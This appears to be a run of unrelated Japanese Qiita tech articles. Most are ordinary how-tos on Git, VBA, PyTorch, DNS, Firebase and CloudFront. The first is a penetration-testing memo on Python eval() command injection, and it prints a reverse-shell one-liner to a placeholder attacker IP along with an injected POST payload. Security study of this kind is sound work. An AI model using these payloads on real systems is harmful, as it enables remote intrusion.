OmniAICreator/Qiita-1.07M huggingface dataset:
Eval()を利用したCommand injection in Python 

忘備録：Python上でシステムコマンドを実行する方法の考察

脆弱性検査において、Python上でコマンド実行できる箇所を探すケースに遭遇しました。

TR;DR
ユーザインプットをもとにeval()コードを実行している。
案の定、Payloadを変えて送信すると、システムコマンドが実行できた。


Python上でCommand Injectionがまとまっているサイトを探していると以下が見つかった。

https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html

古いが、役に立つ。簡単な例で行くと、このようなシェルを実行できる場合がある。
```bash
     __import__('os').popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/<Attacker IP>/1234 0>&1'").read();
```

脆弱性があるソースコードを読むと、ユーザーインプットをeval()で実行しているようだ。

以下のサイトでeval()の怖さを勉強してみた。

https://realpython.com/python-eval-function/

読み進めると、こんな感じで実行できる。

```python
>>> # Arithmetic operations
>>> code = compile("5 + 4", "<string>", "eval")
>>> eval(code)
9
```
なので、以下のものも実行できた。
```py
>>>eval(compile("import os;os.system('ls -al')","<String>","exec"))
```

そのアプリケーションに対してBurpを立ち上げて以下をPOSTメッセージに挿入すると、そのアプリはもちろん実行してくれた。ペイロードは色々試す必要があり大変。BURPのプラグインでも書くか。。。

```python
engine=Accuweather&query=1'%2beval(compile("import os;os.system('ping -c 5 <Attacker IP>')","<String>","exec"))%2b'&auto_redirect=
```

シェル実行までは記載しませんが、簡単に取れる。

ハッピーハッキング
rex0220 計算式プラグイン 組織情報の取得

rex0220 計算式プラグインで、選択されたユーザーの組織情報から優先する組織を取得し、さらに組織に所属するメンバーを項目に設定します。

# 概要
選択されたユーザーの優先する組織と関連情報を取得します。

- 編集画面
![2023-04-12_12h24_22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/74e92d72-c065-6608-1225-58e5c019a477.png)
- ユーザー設定：　開発１課と総務部に所属
![2023-04-12_12h26_19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/57147d67-321b-a026-9c31-b85090f46a18.png)
- 組織設定：　開発部>開発１課>開発１課１係、開発１課２係
![2023-04-12_12h27_08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/f6ba7f63-40f0-926b-b8da-af93043ae31b.png)

# 操作例

![2023-04-12_12h32_08.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/2ead219b-1713-fe7d-1856-b4b8b91efe1d.gif)

# 計算式プラグイン設定

![2023-04-12_12h34_35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/100572/f7fa802c-774c-e36a-c919-e3e8f6a989ef.png)

```.js
// 所属する組織
OINFO(UINFO(
  SEL_CODE(ユーザー選択,"array"),"orgs"
),"name")
// 優先する組織ID
UINFO(
  SEL_CODE(ユーザー選択,"array"),"primaryOrganization"
)
// 優先する組織コード
OINFO(UINFO(
  SEL_CODE(ユーザー選択,"array"),"primaryOrganization"),
  "code"
)
// 優先する組織選択
SET_CODE(OINFO(
  UINFO(
    SEL_CODE(ユーザー選択,"array"),"primaryOrganization"),
  "code"
))
// 優先する組織のメンバー
UINFO(OINFO(
  NVL(優先する組織ID,0),
  "users"
),"name")
// 優先する組織のメンバー役職
OINFO(
  NVL(優先する組織ID,0),
  "userNames"
)
// 優先する組織の親組織
OINFO(OINFO(
  NVL(優先する組織ID,0),
  "parentCode"
),"name")
// 優先する組織の子組織
OINFO(OINFO(
  NVL(優先する組織ID,0),
  "children"
),"name")
```
ディレクトリを検索するバッチ

@echo off
setlocal EnableDelayedExpansion

REM ドライブレターを取得する
for /f "tokens=1" %%a in ('wmic logicaldisk get caption ^| findstr /r /c:"[A-Z]:"') do (
  set "drive=%%a"
  echo Processing !drive!...

  REM ファイル名を作成する
  set "filename=!drive!_dir.txt"

  REM ディレクトリ構造をファイルに保存する
  dir /s /b !drive!\ > "!filename!"
)

echo All drives have been processed.
pause
個人開発でGithubのissue,プルリクを活用する方法

# 前提
一般的にはチーム開発で活用しているGithubのissueやプルリク。

でも、チーム開発へ参加する時の練習にもなるので、個人開発で活用してみたい！という方向けです。
もちろん、これをやっていくと草生えます。

# issueを作成する
まずはGithubのリポジトリページを開いて、issuesタブ(codeタブの隣)を押す。

画面の右端にNew issueという緑のボタンがあるので押す。

入力フォームが開くので、TitleやLeave a commentを埋める。
issueは、オープンソース開発だと不具合報告とかに使われていますが、今回は個人開発なので自分のtodoリストみたいに使っちゃいましょう。

submit new issueボタンを押せばissue作成が完了。


# 作業ブランチを作る
ブランチの管理は、いつも同じブランチを使っても良いし、issueごとに新しいブランチを作っても良い。
今回はブランチの作り方等の練習になるので、毎回新しいブランチを作る方向でやっていきます。

プロジェクトファイルの.gitファイルがあるディレクトリで、以下のコマンドを打つ。

```
$ git checkout -b `ブランチ名`
```
このコマンドで、ブランチの移動とブランチ作成が1回で完了します。
ブランチ名は自分がわかりやすいものでOK。私は`fix#24`など、issue番号をつけたfixブランチを作って行っていました。

#　作業ブランチで開発
ブランチの移動も終わっているので、ひたすらissueに書いた通りの修正をやっていく

# 開発したファイルをステージング

以下のコマンドで、作業ブランチの変更したファイルを全てステージングに上げる

```
$ git add .
```

# コミットする
コミットメッセージをつけてコミットをする。

```
$ git commit -m 'コミットメッセージ'
```

# Githubのリモートリポジトリへプッシュする

作業ブランチごと、Githubのリモートリポジトリへプッシュする。

```
$ git push origin 作業ブランチ名
```

# Githubのリポジトリ上でプルリクをする
Githubのリモートリポジトリのページを開いて、先ほどissue作成に使ったissuesタブの隣にあるpull requestタブを開く。
オレンジっぽい枠に囲まれて、
` 作業ブランチ名 had recent pushes less than a minute ago`みたいなメッセージが入っているところに
`Compare & pull request`という緑のボタンが出現するので、押す。

フォームが開くので、作業内容をメモったりして、最後の行に以下の内容を書き込む。

```
close #issue番号
```
issueを作ると、そのタイトルの隣とかに#付きで通し番号が表示される。
この番号と共に、closeとコメントをつけるテキストを入れると、プルリクが承認された時に自動でissueがcloseするようになるので、つけておく。

書き込みが済んだら、Create pull requestボタンを押す。

緑の枠に囲まれて以下のように色々出てくるが...
```
Require approval from specific reviewers before merging(マージ前に特定のレビュアーからの承認を要求する)
Continuous integration has not been set up(継続的インテグレーションが設定されていません)
This branch has no conflicts with the base branch(このブランチにはベース ブランチとの競合はありません)
```
`Merge pull request`という緑のボタンを押す。

フォームが出現するが、スルーして`Confirn merge`という緑のボタンを押すとリモートリポジトリ上ではmasterブランチと作業ブランチのマージが完了する。

次に、紫の枠に囲まれて、作業ブランチをリモートリポジトリで作業ブランチを削除しますか？と聞かれるので、グレーの`Delete branch`ボタンを押す。


# masterブランチに移動する
Githubでの作業は終わったので、次はターミナルに戻って、.gitファイルがある作業ディレクトリで以下のコマンドをうつ。

```
$ git checkout master
```

# リモートリポジトリからpullする
さっきGithub上でmasterと作業ブランチをmergeしてしまったので、最新の状態をpullしてローカルリポジトリを更新する。

```
$ git pull origin master
```


# (補足)作業ブランチを削除
いらなくなったブランチ、また間違って作成したブランチは以下のコマンドで削除できます。

```
$ git branch -D ブランチ名
```
【VBA】全角文字と半角文字の混ざった表にオートフィルタをかける際の注意点

VBAのオートフィルタでちょっと詰まっていたが解決したので共有します。

発生バージョン：Excel2016

# 問題

全角文字と半角文字が混ざった列に下記のコードでオートフィルタをかけようとすると
見出しではなく1行目にかかってしまう

オートフィルタをかけようとするテーブル

|ID|name|
|:---:|:---:|
|a|MOMOTARO|
|b|さる|
|c|いぬ|
|d|きじ|

ネットで調べるとよく出てくるオートフィルタの例
Range("A1").AutoFilter Field:=2, Criteria1:="MOMOTARO"

これでオートフィルタをかけると見出しではなく１行目にオートフィルタが
かかってしまう

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82103/d6d55727-9327-0c49-c077-d2be67a64b9e.png)

ただ、nameがすべて半角文字（さる→SARU、いぬ→INU、きじ→KIJI）なら上手くいくようだ

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82103/41236c70-f3cc-05f2-83e8-fb40043ac49c.png)

# 解決

マクロの自動記録をつかってnameからMOMOTAROを抽出する操作を行ってみたところ以下のコードが得られた

Range("A1:B5").AutoFilter Field:=2, Criteria1:="MOMOTARO"

実行すると上手くいった

![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82103/8852077b-67ec-69af-1409-6ee5a520047e.png)

最初にRangeで表全体を指定するのが重要らしい

以上
SnowPro Core 認定資格 を取得しました

# はじめに
Snowflakeに触れる機会がありましたので資格を取得していました。

# SnowPro Core とは
[この辺](https://learn.snowflake.com/en/certifications/snowpro-core-jpn/)を参照ください。

# 教材
1. [Snowflake University](https://learn.snowflake.com/)
    - Snowflake公式の学習コンテンツです。ハンズオンや座学で学習することができます。
    - 私はSnowflake自体が何者か分からなかったため、まずこちらのコンテンツを全て受講し用語やアーキテクチャを学習しました。
    - ハンズオンに関しては、予め自身で[フリートライアルのアカウント](https://signup.snowflake.com/)を取得する必要があります。
    - コースによっては、バッジを取得できモチベーションの維持につながります。
1. [Snowflakeドキュメント](https://docs.snowflake.com/)
    - Snowflake公式ドキュメントです。
    - 試験問題のベースはこちらになるため、ドキュメントを完全理解＝合格になります。
1. Udemy:[Ultimate SnowPro Core Certification Course & Exam - 2023](https://www.udemy.com/course/ultimate-snowpro-core-certification-course-exam/)
    - 試験範囲に限定した座学と模擬試験(100問x1)を受けることができます。英語となります。
    - Snowflakeドキュメントだけでは理解しにくい部分を分かりやすく説明しています。
    - 理解度がかなり向上しました。
1. Udemy:[Snowflake Certification Preparation](https://www.udemy.com/course/snowflake-certification-preparation/)
    - 模擬試験(100問x3、70問x1、60問x1、81問x1)となります。
    - 問題数は多いですが、実際の試験と乖離している内容が結構見られました。試験に近い内容は1割いかないぐらいでしょうか。ただ自分に足りないところやこれを元にSnowflakeドキュメントを見直すことができたので、それなりには役立ちました。

# 当日の試験について
- 試験会場で受けました。
- この資格はまだレアのようで、該当試験会場では第一号の受験者だったようです。
- 115分の100問出題で、一周するのに50分、見直しに20分費やしました。
- 出題方法は、1問選択か複数選択(選択数の指定有り)となります。前述の模擬試験では、選択数の指定が無く、正しいものを全て選ばせるような問題がちらほらありましたが、本試験はそのような問題はありませんでした。
- 問題は、模擬試験と似たようなものが1割いかないぐらい、座学やドキュメントで覚えていたものが6割、全くわからず消去法や勘で回答したものは3割でした。覚えていないとどうしようもないような重箱の隅を突く問題が結構見られました。

# 感想
- [Ultimate SnowPro Core Certification Course & Exam - 2023](https://www.udemy.com/course/ultimate-snowpro-core-certification-course-exam/)はSnowflakeの理解度の向上に役立ちますのでお勧めです。
PyTorchのインストールに失敗する場合の対策

ChatGPTなど生成系AIが話題の昨今ですが、そう言う自分も「このビッグウェーブには（略」とがっつり乗っかるつもりです。

とりあえずChatGPTでひとしきり遊んだので、これに続き画像生成系AIにも手を出してみようかと思いました。

画像関係は自分はまったく素人なのですが、それでも画像生成AIに手を出してみようと思ったのは、自然言語系AIはまだ一般人のPCで動くレベルではありません（それでも時間の問題とは思われます）が、画像生成AIなら自分の環境でも動きそうだ、というのも理由の一つ。

## Pytorchのインストールがエラーで進まない

さて、そんな様子で自分のPCにStable Diffusionをインストールしようとしてみたのですが、PyTorchのインストールでドはまりしてしまいました。

きっとこの時期同じような失敗で心が折れる方も多いのでは、ということでメモを残しておきます。

### 検証環境
私の環境は以下の通りのごく普通のWindows機です。
- Windows11 Pro 
    - バージョン22H2 
    - OSビルド 22621.1555
- CPU: Core i9-10900
- RAM: 32GB
- GPU: RTX3070
    - NVIDIA CUDA 11.8

特にどこかがボトルネックになるような要素はないと思います。

本当は自然言語系のLLaMaとか試したいのですが、あれを動かすには`逸般の誤家庭`レベルのGPUが必要なのでとても無理。

でも、画像生成ならこの程度のスペックでも十分に遊べるようなので、、、すがインストールできないことには話が始まりません。

### 実行したコマンド

Pytorchのインストールにあたって実行しようとしたコマンドはこちら。

```
pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118
```

pytorch.orgのトップページから自分の環境に合ったものを選ぶと入力すべきコマンドを教えてくれます。それをコマンドプロンプトにそのままコピペするだけ（のはず）。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/664305/81e44f87-152a-39a7-2958-52a3c8826e8b.png)

### エラーメッセージ

実行すると以下のようなエラーが出て、インストールに失敗します。
```
ERROR: Exception:
(中略)
TimeoutError: The read operation timed out

During handling of the above exception, another exception occurred:
(中略)
pip._vendor.urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='download.pytorch.org', port=443): Read timed out.
```

どうやらTimeoutが起きているようです。

回線の状態が良くないのかと何度か繰り返しましたが、症状は変わらず。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/664305/d0502903-09b5-9b81-91e8-9a9e19b02d29.png)

pytorchのパッケージは2.6GBもあり、サーバーにアクセスが集中してタイムアウトが発生しやすいのかもしれません。

## 対策：pipのデフォルトタイムアウト時間を変更する

色々と調べたところ、pipのデフォルトタイムアウト時間を変更すれば良さそうということが分かりました。

タイムアウトをデフォルトの100秒から50000秒に大幅に延長して試してみます。（50000という数字に特に意味はありません）

```
set PIP_DEFAULT_TIMEOUT=50000
```

それでもやはり夜間はpytorchのサーバーが混んでいるのか、ダウンロード速度が全く出ません。

翌朝ネットが空いている時間帯に仕切り直して、もう一度トライしてみると、ダウンロードスピードも快調に出ました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/664305/9ead01ff-8951-90e5-4277-91ab78de6d51.png)

タイムアウトの設定変更も功を奏したのか、無事にPytorchのインストールが完了しました。

pip install Pytorchで失敗を繰り返す方は、pipのタイムアウト設定を変更すること、朝方にインストールしてみるのがおすすめです。

### 参考
https://www.infocircus.jp/2020/06/30/pip-readtimeouterror-certbot-auto/
習慣化支援アプリをリリースしました【個人開発】


![rhythmo_top.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982087/31b3cead-5e07-b724-a5dc-ef8916fa093e.png)

シンプルな操作であなたが目指すライフスタイルを実現する習慣化支援アプリ「rhythmo」を作りました。

■ **iOS**

https://apps.apple.com/jp/app/rhythmo/id6447278189

■ **Android**

https://play.google.com/store/apps/details?id=com.yuyatoyoizumi.habit


### こんな方におすすめ

- 習慣にしたいことがあり、記録して可視化できたら少しはモチベーションが継続して嬉しいかもしれない
- とりあえず簡単に記録してどれだけ習慣化されているか見れれば良い

### こんなことができます

- 習慣化したいタスクを登録し、毎日の進捗を簡単に記録できます
- ヒートマップでタスクの進捗を可視化できます


## 作ろうと思ったきっかけ

今まで個人的にずっと思っていたこととして、日々の仕事は自宅のデスクで行っているので、座っている時間が長いし運動もう少しちゃんと継続してやりたいな、やらないとダメな気がする、というのがありました。

そんな中、毎日何かしらコードを書くというのが結構習慣になってきていて、コントリビューションのヒートマップが結構モチベーション維持に繋がっていたので、これを運動（とか他もあれば）にも横展開しようと思い、このアプリを開発し始めました。


## 技術的なところ

使用している主な技術は下記です。

- Flutter
- Firebase

以前に作ったアプリも同じような感じだったので少し慣れてきており、開発スピードが上がりました。
また、今回はデザインに少しこだわってみようと思い、[Rive](https://rive.app/)というアニメーションのツールを使ってみたり、ニューモーフィズム（Neumorphism）といったデザイン手法を取り入れてみたりしました。
デザインは考えるのが難しすぎて実装よりも時間がかかりました。

## 開発過程

開発した期間ですが、リリースまで1ヶ月ちょっとでした。
デザインをどうしようかなとかで色々調査するのに時間がかかったのですが、のべ５０時間くらいだったと思います。
まだMVPといった感じでもっとデザインや機能でこだわりたい気がするので、もう少しアップデートしようかなと思っています。

また、今回ははじめてchatGPTも使用しながら開発しました。
実装中も役に立ったのですが、アプリの配信対象国を全世界にしたので、特にリリース時のアプリ名・アプリ詳細・キーワードなどを考える際に役に立ちました。
アプリアイコンも画像生成AIで作っても良かったのですが、少しだけイメージしていたものがあったので今回はchatGPTでアイデアをもらって自分でFigmaで作成しました。

## 学んだことなど

- デザイン手法について少しだけかじることができました（ニューモーフィズム、グラスモーフィズム、フラットデザインとかの話）
- アニメーションについても少しだけかじることができました（Rive、Lottieとかの話）
    - 自分でアニメーションを一から作ることもできそうだったのですが、時間がかかりそうでやめてしまいました
- 開発時のchatGPTの使い方的なところが少しだけわかった気がします。実際に役に立った感もあります。

## まとめ
ここまで読んでいただきありがとうございます。
いいね・保存・シェアなどしていただけるととても励みになります！
もっとこういう機能があったら嬉しいなどコメントもいただけると嬉しいです。

▼ ダウンロードはこちらから
■ **iOS**

https://apps.apple.com/jp/app/rhythmo/id6447278189

■ **Android**

https://play.google.com/store/apps/details?id=com.yuyatoyoizumi.habit

<br>
<br>

:::note info
このプロダクトは、株式会社mofmofの「水曜日の個人開発」にサポートされています。
:::

https://indie-dev.mof-mof.co.jp
ブラウザでURLを開いてから表示されるまでに起こっていること

# 転職希望者は必須！面接の質問になる可能性が高い質問

　WEBエンジニアとしての資質を試す質問に「ブラウザでURLを開いてから表示されるまでに起こっていることの流れ」が挙げられます。分からないまま放置していればいざ聞かれた時に面接官へ悪印象を与えるリスクがあるのでWEBエンジニア経験者ならば常識かもしれませんが、未経験ユーザーである私のためにこの記事を投稿させてください

## ブラウザとは

WEBサイトを閲覧するために使うソフトを指します。
- Internet Explorer
- Edge
- Google Chrome
- Safari
- 他多数

`閲覧する`という意味の`browse（ブラウズ）`に起因しています



## ネットワークの仕組みは郵便と同じ

ネットワークを説明するうえで例に挙げられるのが
郵便の仕組みです。

郵便はハガキに住所を書いてポストに投函すれば
相手に届くシンプルな仕組みですが、インターネットの
ネットワークはそれと非常に似ています

### URLとは住所のこと

Yahooのサイトが見たい場合は
アドレスバーに次のようにURLを入力して
実行ボタンを押します

https://www.yahoo.co.jp/

これを郵便に例えるならば

Yahooという会社に対して
「Yahooの最初のページの情報をください」
という手紙をポストに出すことでYahooから
『yahooのページです』と返事が返ってくるに同義します

## PCの住所は数字で管理されている

日本の住所は東京都新宿区など日本語で管理されていますが
PCの住所は数字で管理されています。

Yahooの住所は`182.22.25.252`と登録されています

しかし数字では人間には分かりづらく、商用としても不向きなため
人間にも分かりやすく、覚えやすい文字ものに変換したものが
`URL`と呼ばれ、数字の住所を`IPアドレス`と呼びます


### 検索するにはURLをIPアドレスに変換しなければならない

郵便配達の場合は手紙に書かれている住所を
郵便屋さんはすぐに理解できるので
その住所に直行できますが

前述のとおり
今回のURLである`https://www.yahoo.co.jp`は
IPアドレスに変換する必要があります



## ドメインを数字に置き換えたものがIPアドレス

正確には「yahoo.co.jp」の部分のみがIPアドレスへと変換されます

この「https: //www.を除いた情報」、IPアドレスに変換できる部分を
`ドメイン`と言い「領域」や「範囲」を意味します

インターネットの住所=ドメイン=IPアドレス

## https: // とは『世界共通のルール』

日本と海外、言葉は違えど`サッカー`や`野球`など
スポーツが出来るのは、そこにルールがあるからです

「https://」はどのサイトを開く際も頭に付いている
いわばルールを示した言葉です

この部分は`プロトコル`と呼ばれ意味は「規約」「手順」などを指し
「お約束ごと」とも称されます

PCのメーカーはMicrosoft,Appleを始めソニー、富士通、
NECなど様々ございますが、それらがyoutubeやアマゾン、Googleや
Twitterなど、共通したインターネットサービスを閲覧できるのは
「同じルール」を守っているからであり同じ形式の通信をするからになります

`https://`はどのPCでも同じなのでわざわざ
`数字に変換する必要はありません`

よってブラウザで検索する場合は「http」を省略して
`ドメイン`だけを記載して検索することも可能です

## IPアドレスは非営利団体が割り当てしている

>ここまでの流れ
IPアドレスはPCの住所を数字で表したもの
ドメインはPCの住所をアルファベットに置き換えたもの

全世界で使えるIPアドレスの数は約43億個と数が限られており
単純に43億台のPCがインターネットに繋げられることを意味しておりました

IPアドレスの枯渇を防ぐため使用しなくなった割り当て済みの
IPアドレスは返却されてきました

技術が発展したことによりIPアドレスの数は増加しており
インターネットに接続できる台数は増えておりますが

ここでご理解いただきたい内容は
`IPアドレスはドメインに紐付けされた固定の番号`であり
簡単に変更はできないということになります


### IPアドレスへの変換は外部に問い合わせる

WEBサイトの数は2022年で約19億と現在も増え続けています
つまりWEBサイトを管理するPC（サーバー）がそれだけ存在し
IPアドレスもそれほど存在します

ドメインに紐づいたIPアドレスを調べるためには19億通り以上の
いわばアドレス帳を持ったPCが必要であり
家庭用のPCではデータの保管は不可能なことは明らかです

ドメインからIPアドレスへの変換作業はその膨大なデータを持った
超大型PC（サーバー）に問合わせる必要があります

この`ドメイン`と`IPアドレスに変換するための`管理システムを
`DNS（Domain Name System）`と呼びます

### DNSサーバーは世界に13ヶ所存在する

WEBサイトを検索するため、ドメイン名をIPアドレスに変換してくれる
`DNSサーバー`は世界に13ヶ所しかありません。

ただし世界に13ヶ所存在するDNSサーバーは`DNSルートサーバー`と呼ばれ
最上位のDNSサーバーであって、全世界のユーザーがページを検索する際の
処理を一辺に引き受けているわけではありません。

DNSサーバーは家庭用ルーター機器に含まれる小型サーバーから
電気事業者内に存在する業務サーバーまで様々あり、いずれかで
解決しない場合に上位、上位と問い合わせをしていく仕組みになっております

一度検索されたIPアドレスは問い合わせしたDNSサーバーに一定時間
保存（キャッシュされるため次回同じページを検索する場合は
上位に問い合わせをせずに済む分早くページを閲覧できます

## IPアドレスでWEBサーバーを検索する

ここまでの流れでURLはDNSサーバーでIPアドレスに変換され
取得する流れをご案内いたしました。

### WEBページはWEBサーバーが持っている

ブラウザはIPアドレスを使ってWEBサーバーに
WEBページの情報を要求（リクエスト）します

WEBサーバーは内部に保存してあるHTML,CSSや
画像などのデータをブラウザに渡します

ブラウザは渡されたデータを画面に表示します

### WEBサーバーとは

まずサーバーとは「リクエストに対してコンテンツを提供するPC」を指します

例えるならばビールサーバー、ドリンクサーバーです

あれは飲み物を提供するためだけに設置されている機械のため
WEBサーバーもWEBページを提供するために設置されたPCという扱いになります



## ブラウザでURLを開いてから表示されるまでの起こっていること

以上がブラウザでURLを検索した際の詳細ですが
概略を記載させていただきます

1. URL(ドメイン部分）に紐付けされたIPアドレスをDNSサーバーに問い合わせる
1. DNSからアクセス先のIPアドレスについて教えてもらう
1. アクセス先のWebサーバーからHTMLなどのデータを受け取る
1. 受け取ったデータでWEBページをブラウザに出力する
PHPを利用する際に、悪意あるコードを防ぐ方法(基礎)



# htmlspecialchars()

htmlspecialchars()は、HTML特殊文字をエスケープするための関数です。これを使用することで、HTMLタグの一部である文字を表示することができます。例えば、PHPでフォームから送信された文字列を表示する場合に、htmlspecialchars()を使用することができます。以下は例です。

``` php
<?php
   $name = '<script>alert("Hello");</script>';
   echo 'Hello, ' . htmlspecialchars($name) . '!';
?> 
```
この例では、$nameにはJavaScriptのコードが含まれています。htmlspecialchars()を使用して、このコードが実行されるのを防ぎます。出力されるテキストは次のようになります。

```
Hello, &lt;script&gt;alert(&quot;Hello&quot;);&lt;/script&gt;!
```
htmlspecialchars()は、HTMLタグの一部である文字をエスケープするために使用されます。この関数は、以下の文字をエスケープします。

``` php
& (ampersand)   ->  &amp;
" (double quote) ->  &quot;
' (single quote) ->  &#039;
< (less than)    ->  &lt;
> (greater than) ->  &gt;
```
これらの文字をエスケープすることで、HTML文書内の悪意のあるコードを防ぐことができます。
In App Messagingでメッセージが出ない対処法

こんにちは。[virapture株式会社](https://virapture.com)でCEOしながら[ラグナロク株式会社](https://ragna-rock.com)でもCKOとして働いている[@mogmet](https://twitter.com/mogmet)です。
今日はIn App Messagingを使うときのトラブルシュートな紹介です。

In App Messagingは実装も何も必要なく、ライブラリを入れるだけで簡単にアプリ内メッセージを表示できるようになる素晴らしいプロダクトです。

https://firebase.google.com/docs/in-app-messaging?hl=ja

しかし、使うときに表示されないということがあったので対策を共有します。


## 症状

FirebaseのコンソールからIn App Messagingを送信後、アプリを起動→キルして再起動しても何も表示されません。

ログを見ると下記のようなログが表示されています。

> PERMISSION_DENIED: Firebase In-App Messaging API has not been used in projext xxxxx before or it is disabled. Enable it by visithing https://console.developers.google.com/apis/api/firebaseinappmessaging.googleapis.com/overview?project=xxxxx then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.

## 解決法

ログに書いてあるとおりですが、下記にアクセスして

https://console.developers.google.com/apis/api/firebaseinappmessaging.googleapis.com/overview

にアクセスして有効化ボタンを押すだけです！

## まとめ

まとめると、

**In App Messagingを使うときはコンソールからAPI有効化を忘れない！**

です。

最後に、スノボの楽しく滑るコツを掴める [cotsume](https://cotsume.page.link/blog) というアプリを作ってます！よかったらDLしてみてね！

https://cotsume.page.link/blog

また、[ワンナイト人狼オンライン](https://online.1nite-jinro.com/link/blog)というゲームを作ってます！よかったら遊んでね！

https://online.1nite-jinro.com/link/blog

他にも[Camecon](https://camecon.me/)や[Offcha](https://offcha.com/)、問い合わせ対応が簡単にできる[CSmart](https://csmart.jp/lp)、フリーランスのコミュニティの[NextFreelance](https://next-freelance.net/)といったサービスも作ってるのでよかったら使ってね！

https://camecon.me/

https://offcha.com/

https://csmart.jp/lp

https://next-freelance.net/

また、チームビルディングや技術顧問、Firebaseの設計やアドバイスといったお話も受け付けてますので御用の方は弊社までお問い合わせください。

https://virapture.com/

ラグナロクでもエンジニアやデザイナーのメンバーを募集しています！！楽しくぶち上げたい人はぜひお話ししましょう！！

https://ragna-rock.com
Google Play Consoleで内部テストを行う方法

## 内容
Google Play Consoleで内部テストをする方法です。
リリース前の検証用として、テストユーザーに対してのみ公開ができます。

## 環境
chromeブラウザ

## 手順
 1. Google Play Consoleで該当のアプリに遷移
 2. メニュー内「内部テスト」を選択
 2. 「テスター数」を選択
 ![スクリーンショット 2022-10-03 22.08.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130708/47c10d14-d775-8c4c-4ae2-dfb22d4ee803.png)
4. 「メーリングリストの作成」をタップ
![スクリーンショット 2022-10-03 22.12.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130708/cd2bd099-8bce-0f02-482f-7b5030a665ed.png)
5. テストに参加させたいメールアドレスとリスト名を入力し、右下の「変更を保存」を選択
 ![スクリーンショット 2022-10-03 22.08.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130708/47c10d14-d775-8c4c-4ae2-dfb22d4ee803.png)
6. テスター数の箇所にリストが追加されていることを確認し、左側のチェックボックスを選択状態にする
7. [リンクをコピー]をタップしコピーする。　（テストユーザーはこのリンクからテストに参加する)

 8. 右上の「新しいリリースを作成」を選択
 ![スクリーンショット 2022-10-03 21.53.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130708/300e36fc-8ef1-bb91-ac95-a7e5157ebbef.png)
 9. app bundleを設定
 ![play.google.com_console_u_1_developers_6720433879787473470_app_4973836144659419136_tracks_4699879691492174277_releases_4_prepare.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130708/2d4ec7ac-95ac-711e-c51e-2bb9deb77f1a.png)

 10. リリース名、リリースノートを入力
![スクリーンショット 2023-04-12 11.03.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130708/e2e0aa39-7e8b-a54b-a0b0-4926a6966603.png)


 11. 画面右下「未公開として保存」をタップし、「次へ」を選択。
 12. 画面右下「内部テストとしての公開を開始」を選択。
 ![スクリーンショット 2023-04-12 11.06.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130708/4d2b21a3-338f-0717-af91-99405b64ea46.png)
CloudFrontで.htaccessと同じ構文でリダイレクトする方法

Webサイトのリニューアル時にはリンク切れを起こさなようにリダイレクトをかけることがあります。
リダイレクトの手法は色々ありますが、CloudFrontで行うとき場合について説明します。

## CloudFrontってなに？

CloudFrontは、グローバルなコンテンツデリバリーネットワーク（CDN）サービスでウェブサイトやアプリケーションの静的および
動的なコンテンツを高速で安定的に配信することができます。
CloudFrontは、世界中に分散したエッジロケーション（CDNエッジ）を使用してコンテンツを配信します。
これにより、ユーザーは最も近いエッジに接続されるため、高速で低レイテンシーのアクセスを実現できます。
また、CloudFrontは、コンテンツのキャッシュ、圧縮、最適化、およびセキュリティ機能を提供し、コンテンツの配信を最適化することができる。

## CloudFrontでリダイレクトする仕組み

エッジロケーションでLambda関数が実行できるのでそれを利用してリダイレクトを行います。
Lambda関数が設置出来る場所は4箇所ありますが、リダイレクトを行う場合は①の箇所が適切です。

![cloudfront-events-that-trigger-lambda-functions.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/15995/90c652e5-3b6c-67a4-41d9-e237a51807ae.png)

## メリット・デメリット

CloudFrontで行うメリット
・大量のリダイレクト文でもレスポンス良く応答してくれると思う

・オリジンサーバーに転送されるトラフィックを減らすことができる

CloudFrontで行うデメリット
・独自のリダイレクト構文となるので設定が面倒

以下の内容をLambda関数に記述してリダイレクトを行うが、.htaccessのように●●●を○○○へリダイレクトするような書き方が出来ない

```
'use strict';

exports.handler = (event, context, callback) => {

    // リダイレクト先のURLを定義する
    const redirectURL = 'https://example.com/new-location';

    // リダイレクトを実行する
    const response = {
        status: '301',
        statusDescription: 'Moved Permanently',
        headers: {
            location: [{
                key: 'Location',
                value: redirectURL,
            }],
        },
    };

    callback(null, response);
};
```

## CloudFrontで.htaccess構文でリダイレクトするには

.htaccessの構文を解析してリダイレクトするLambda関数をMITライセンスで展開してくれているのがあります。
https://github.com/marksteele/edge-rewrite

良いところ：

rules.jsonで.htaccessのような記述が可能。
サンプルもgithubにあがっていますが、以下のような書き方でリダイレクトが出来ます。

```
[
    " ^/topsecret.*$ [F,L] " ,
    " ^/oldpath/( \\ d*)/(.*)$ /newpath/$2/$1 [L] " ,
    " !^/oldpath.*$ http://www.example.com [R=302,L,NC] " ,
    " ^/deadlink.*$ [G] " ,
    " ^/foo$ /bar [H=^baz.com$] "
]
```

## 感想

